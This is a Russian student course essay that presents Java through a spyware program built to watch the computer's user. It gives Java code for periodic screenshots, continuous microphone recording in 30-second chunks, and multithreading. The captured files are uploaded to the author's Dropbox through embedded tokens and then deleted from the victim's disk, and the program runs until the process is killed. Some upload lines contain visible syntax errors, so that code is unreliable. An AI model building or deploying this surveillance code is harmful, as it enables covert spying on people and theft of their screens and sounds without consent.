

МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ РФ
Федеральное государственное бюджетное образовательное учреждение
высшего образования
«Московский Авиационный Институт»
(Национальный Исследовательский Университет)

Институт: №8 «Информационные технологии и прикладная
математика»
Кафедра: 806 «Вычислительная математика и программирование»

Реферат
по курсу «Вычислительные системы»
I семестр
Тема:
«Язык программирования Java на примере разработки программы-
шпиона»

Группа:	М8О-107Б-20
Студент:	Сысоев М.А.
Преподаватель:	Найдёнов И.Е.
Оценка:	
Дата:	

Москва, 2020

Содержание

1. История Java и сферы применения.....	
2. Основные особенности языка.....	
3. Приложение-шпион для слежки за пользователем.....	
4. Запись звука с микрофона.....	
5. Скриншоты.....	
6. Многопоточность.....	
7. Работа с Dropbox.....	
8. Список литературы.....	

1. История Java и сферы применения

Java — строго типизированный объектно-ориентированный язык программирования общего назначения, разработанный компанией Sun Microsystems (в последующем приобретённой компанией Oracle).

Приложения Java обычно транслируются в специальный байт-код, поэтому они могут работать на любой компьютерной архитектуре, для которой существует реализация виртуальной Java-машины. Поэтому изначально создавалась для программирования бытовых приборов. Дата официального выпуска — 23 мая 1995 года. На 2019 год Java — один из самых популярных языков программирования

Где применяется сейчас?

Так как Java - универсальный кроссплатформенный язык, то на ней можно писать всё, что угодно.

В настоящее время, на ней пишут:

- **Андроид приложения**

Если хотите увидеть, где используется Java, не нужно далеко идти. Просто возьмите свой телефон на Android, большинство приложений написаны на Java, с использованием Google и Android API, которые схожи с JDK. Пару лет назад Android предоставил необходимые возможности, благодаря чему сегодня многие Java программисты – Android разработчики. Кстати, Android использует другую JVM и другой и другой способ компоновки, но код всё ещё написан на Java. Хотя лучшим решением принято считать Kotlin, на java всё же написаны большинство приложений

- **Серверные приложения в сфере финансовых услуг**

Java очень обширно применяется в финансовой сфере. Многие мировые инвестиционные банки, типа Goldman Sachs, Citigroup, Barclays, Standard Chartered и другие используют Java для написания фронт-энд и бэк-энд офисных электронных систем, систем регулирования и подтверждения, проектов обработки данных и некоторых других. Преимущественно Java используется при написании серверных приложений, в большинстве своём

без какого-либо пользовательского интерфейса, которые получают данные с одного сервера, обрабатывают их и отправляют дальше. Java Swing был также популярен для создания «толстоклиентных» интерфейсов, но сейчас С# быстро захватывает рынок в этой области, а Swing уже выдыхается.

- **Веб-приложения**

Также Java широко используется в электронной коммерции и в области веб-приложений. Огромное количество RESTful сервисов было создано с использованием Spring MVC, Struts 2.0 и похожих фреймворков. Даже простейшие приложения, основанные на Servlet, JSP и Struts, достаточно популярны в различных государственных проектах. Многие веб-приложения государственных, оздоровительных, страховых, образовательных, оборонительных и некоторых других отделений написаны на Java.

- **Программные средства**

Многие полезные программные средства и средства разработки написаны и разработаны на Java, например Eclipse, IntelliJ Idea и Netbeans IDE. Мне кажется это, к тому же, наиболее используемые приложения, написанные на Java. Было время, когда Swing был очень популярен при создании «толстых клиентов», преимущественно в финансовой сфере. Сегодня Java FX набирает всё большую популярность, но это всё ещё не замена Swing, к тому же С# практически полностью вытеснил Swing из финансовой области.

- **Трейдинговые приложения**

Сторонние трейдинговые приложения, которые также часть большой индустрии финансовых услуг, тоже используют Java. Популярные приложения, типа Murex, которые используются во многих банках, написаны на Java

- **J2ME приложения**

Несмотря на то, что появление iOS и Android практически уничтожило J2ME рынок, в мире ещё огромное количество дешёвых телефонов от Nokia и Samsung, использующих J2ME. Было время, когда практически все игры и приложения, доступные на Android, были написаны с использованием MIDP и CLDC, которые являются частью платформы J2ME. J2ME всё ещё популярен в таких средствах, как Blu-ray, карточки и телевизионные приставки. Одна из причин такой популярности WhatsApp – он также доступен на J2ME.

- **Встраиваемые системы**

Обширна Java и в области встраиваемых систем. Можно увидеть на что способна платформа, вам нужно всего 130 КВ для использования Java (на смарт-картах и сенсорах). Изначально Java разрабатывалась для встраиваемых систем. В действительности эта область была частью начальной кампании Java «пиши один раз, запускай где-угодно» и похоже, что она приносит свои плоды.

- **Big Data**

Hadoop и другие технологии обработки больших данных так или иначе используют Java, например Hbase и Accumulo от Apache, или Elasticsearch. Хотя Java и не доминирует в этой области, поскольку существуют такие технологии, как MongoDB, которые написаны на C++. У Java есть потенциал получить большую долю этой растущей области, если Hadoop или Elasticsearch расширятся.

- **Высокочастотные трейдинговые пространства**

Java улучшила свои эксплуатационные показатели и с современными ЛТ-ами она способна предоставить производительность на уровне C++. По этой причине Java популярна и при написании высокопроизводительных систем, потому что хоть производительность проигрывает в сравнении с родным языком, но вы можете пожертвовать безопасностью, мобильностью и надёжностью ради большей скорости и требуется всего один неопытный C++ программист, чтобы сделать приложение медленным и ненадёжным.

- **Научные приложения**

В наши дни часто Java – выбор по умолчанию для научных приложений, включая обработку естественного языка. Основная причина в том, что Java более безопасна, мобильна и надёжна и имеет лучшие инструменты параллелизации, чем C++ и другие языки.

2. Основные особенности языка

- 1) **Сборка мусора** - одно из главных преимуществ Java. Сборка мусора в программировании — одна из форм автоматического управления памятью. Специальный процесс, называемый сборщиком мусора, периодически освобождает память, удаляя объекты, которые уже не будут востребованы приложениями. Это позволяет избежать “висячих” ссылок и утечек памяти, характерных для C++
- 2) “Волшебный” **байт-код**. Один раз написал - запускаешь везде, где есть JVM
- 3) Расширенные возможности **обработки исключительных ситуаций**
- 4) Богатый набор средств **фильтрации ввода-вывода**
- 5) Набор стандартных коллекций: массив, список, стек, множество, “мапы” и т.п.
- 6) Наличие простых средств создания **сетевых приложений** (в том числе с использованием протокола RMI).
- 7) Наличие классов, позволяющих выполнять HTTP-запросы и обрабатывать ответы.
- 8) Встроенные в язык средства создания **многопоточных** приложений, которые потом были портированы на многие языки (например Python).
- 9) Унифицированный доступ к **базам данных**
- 10) Поддержка **обобщений** (начиная с версии 1.5)
- 11) Поддержка **лямбд, замыканий**, встроенные возможности **функционального программирования** (с версии 1.8)

3. Приложение-шпион для слежки за пользователем

Основное предназначение приложения - слежка за конечным пользователем. Это делается посредством скриншотов каждые 5 секунд. Также записывается звук с микрофона пользователя. Запись дробится на файлы длительностью 30 секунд, что позволяет нам слышать, что происходит возле устройства, на котором запущена программа. Всё это реализовано в несколько потоков для параллельной работы и множественных вызовов. Отправка осуществляется на облачный диск Dropbox автора программы, в специальную папку, к которой открыт доступ только для тех, кто имеет токен (вшит в программу). Программа не имеет остановки. Работа продолжается до тех пор, пока не будет выключен компьютер, принудительно завершён процесс программы или из-за внештатных ситуаций (К примеру, переполнение места на Dropbox).

При необходимости, можно переквалифицировать это приложение в полезное. Возможно предлагать конечному пользователю вводить свои данные, чтобы добровольно протоколировать своё пользование компьютером, отправляя файлы себе на диск, выбирая диапазон времени на своё усмотрение, выбирать промежуток работы программы. Можно применить, к примеру, для записи аудиолекции (Через динамики, конечно).

Пройдёмся по основным этапам работы программы:

4. Запись звука с микрофона

Запись звука реализована в классе `JavaSoundRecorder`.

В нем содержатся несколько полей - для работы с аудио и `Dropbox`, а также целочисленная переменная, которая определяет интервал времени, на который будут дробиться все файлы.

Также реализован конструктор класса, где мы инициализируем все переменные. От пользователя к нам приходит `Dropbox` клиент (подробнее будет в 7 пункте) и время в миллисекундах.

Далее идут методы:

- `getAudioFormat` - возвращает формат аудио - нужен для записи звука

```
AudioFormat getAudioFormat()
{
    float sampleRate = 16000;
    int sampleSizeInBits = 8;
    int channels = 2;
    boolean signed = true;
    boolean bigEndian = true;
    AudioFormat format = new AudioFormat(
        sampleRate,
        sampleSizeInBits,
        channels,
        signed,
        bigEndian
    );
    return format;
}
```


- RecordAudio - центральный метод, вызываемый из функции main. Он задаёт имя файла, создаёт файл и запускает в два потока запись звука и сразу же остановку звука. Остановка происходит не сразу, а через промежуток времени, указанный пользователем.

```
public void recordAudio()
{
    SimpleDateFormat formatter = new
SimpleDateFormat("yyyyMMdd_HH:mm:ss");
    Date now = new Date();
    String soundName = formatter.format(now);
    String fileName = "C:\\\\Users\\\\Public\\\\" + soundName + ".wav";
    File file = new File(fileName);
    start(file);
    stop(milliseconds, file, soundName);
}
```

- Start - в этом методе мы перезаписываем метод run для класса Thread (подробнее будет в разделе о многопоточности), в котором начинается запись звука.

```
private void start(File file)
{
    Thread thread = new Thread(){
        @Override
        public void run()
        {
            try {
                line.open(format);
                line.start(); // start capturing
                AudioInputStream ais = new AudioInputStream(line);
                AudioSystem.write(ais, fileType, file);
            } catch (LineUnavailableException ex) {
                ex.printStackTrace();
            } catch (IOException ioe) {
                ioe.printStackTrace();
            }
        }
    };
    thread.start();
}
```

- Stop - в этом методе также перезаписываем метод run, в котором сначала “спим” то время, которое указал пользователь, а уже после завершаем процесс и отправляем файл в Dropbox. После отправки файл удаляется с компьютера пользователя.

```
private void stop(int milliseconds, File file, String soundName)
{
    Thread thread = new Thread() {
        @Override
        public void run()
        {
            try {
                sleep(milliseconds);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            line.stop();
            line.close();
            try {
                InputStream is = new FileInputStream(file);
                client.files().uploadBuilder("/") + soundName + ".wav"
                    .uploadAndFinish(is);
                is.close();
                file.delete();
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
    };
    thread.start();
}
```

5. Скриншоты

Скриншоты реализованы в классе Screen, который наследуется от класса Thread (Встроенный в Java класс для работы с потоками)

В нём имеется конструктор, принимающий Dropbox клиент

В классе перезаписывается метод run, внутри которого происходят следующие действия:

- 1) Вызывается дата для названия файла (все скриншоты имеют название по шаблону YearMonthDay_HourMinutesSeconds)
- 2) Создаётся скриншот - находится в буфере
- 3) Конвертация скриншота из буфера в изображение для передачи
- 4) Отправка в Dropbox

```
public class Screen extends Thread
{
    private DbxClientV2 dropboxClient;
    public Screen(DbxClientV2 a)
    {
        dropboxClient = a;
    }
    @Override
    public void run()
    {
        SimpleDateFormat formatter = new
SimpleDateFormat("yyyyMMdd_HHmmss");
        Date now = new Date();
        String fileName = formatter.format(now);
        Robot robot = null;
        try {
            robot = new Robot();
        } catch (AWTException e) {
            e.printStackTrace();
        }
        BufferedImage screenShot = robot.createScreenCapture(new
Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        try {
            ImageIO.write(screenShot, "png", os);
        } catch (IOException e) {
            e.printStackTrace();
        }

        try {
            InputStream is = new ByteArrayInputStream(os.toByteArray());
            dropboxClient.files().uploadBuilder("/") + fileName + ".png")
                .uploadAndFinish(is);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
}
```

6. Многопоточность

Программа активно использует многопоточность. Связанно это с тем, что необходимо параллельно выполнять несколько действий, что невозможно реализовать через один поток.

Главным классом для многопоточности является Thread. Именно от него мы наследуемся в классе Screen, так как Screen представляет собой шаблон работы одного потока.

Во многих местах используется перезаписывание метода run() - метод, определяющий, что будет делать поток.

В программе поток, собственно, запускается (thread.start()) и поток можно “усыпить” на любое количество времени - также активно применяемая в программе функция. Это позволяет параллельно вызывать два потока - запись звука и остановку записи звука. Поток с остановкой звука как раз спит некоторое время, а уже после останавливает запись.

Хочу добавить, что работа с потоками - интересная вещь. С одной стороны — это мощнейший инструмент в программировании, можно даже сказать незаменимый в некоторых задачах. С другой стороны, тестирование таких программ вызывает проблемы, так как в случае неправильных вызовов зачастую происходило переполнение памяти (Java heap space) и компьютер, разумеется, сильно нагружался.

7. Работа с Dropbox

Для начала необходимо создать специальное приложение в своём аккаунте Dropbox, разрешив запись данных в папку. Далее генерируем уникальный токен и с его помощью получается связать программу и папку в Dropbox.

В функции Main() создаётся конфиг Dropbox, который используется для создания необходимых Dropbox клиентов - объект, который позволяет взаимодействовать с Dropbox (Для создания клиента также необходим токен).

```
String ACCESS_TOKEN_SOUND = "blablabla";  
  
String ACCESS_TOKEN_SCREEN = "blablabla,heh";  
  
DbxRequestConfig config = DbxRequestConfig.newBuilder("dropbox/java-tutorial").build();  
  
DbxClientV2 client1 = new DbxClientV2(config, ACCESS_TOKEN_SOUND);  
DbxClientV2 client2 = new DbxClientV2(config, ACCESS_TOKEN_SCREEN);  
  
// Passing the Dropbox client to classes for further sending their thread  
JavaSoundRecorder recorder = new JavaSoundRecorder(client1, 30000);  
Screen thread = new Screen(client2);
```

8. Список литературы

- 1) <https://github.com/Maxsmile123/Spyware> - репозиторий с программой на GitHub
- 2) <https://javarush.ru/groups/posts/1079-gde-ispoljhuetsja-java> - сферы применения Java на сегодняшний день
- 3) https://ru.wikipedia.org/wiki/Java#Применения_платформы_Java - справки о Java
- 4) <https://github.com/dropbox/dropbox-sdk-java> - репозиторий библиотеки для работы с Dropbox с небольшой документацией.

Примечание: работа выполнялась в IntelliJ IDEA Community Edition 2020.2.2